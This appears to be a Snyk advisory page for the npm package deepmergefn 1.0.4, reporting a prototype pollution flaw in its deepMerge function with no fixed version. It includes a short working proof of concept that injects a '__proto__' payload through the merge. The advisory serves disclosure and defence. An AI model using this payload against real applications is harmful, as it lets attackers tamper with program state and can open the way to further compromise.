deepmergefn@1.0.4 vulnerabilities

Deep merge objects width diferent atributtes

Direct Vulnerabilities

Known vulnerabilities in the deepmergefn package. This does not include vulnerabilities belonging to this package’s dependencies.

How to fix?

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Fix for free
VulnerabilityVulnerable Version
  • M
Prototype Pollution

deepmergefn is a Mixes two data objects in depth

Affected versions of this package are vulnerable to Prototype Pollution via deepMerge function.

PoC

const deepMerge = require("deepmergefn");
EVIL_DATA = JSON.parse('{"__proto__":{"polluted":true}}');
deepMerge({}, EVIL_DATA);
console.log(polluted);

How to fix Prototype Pollution?

There is no fixed version for deepmergefn.

*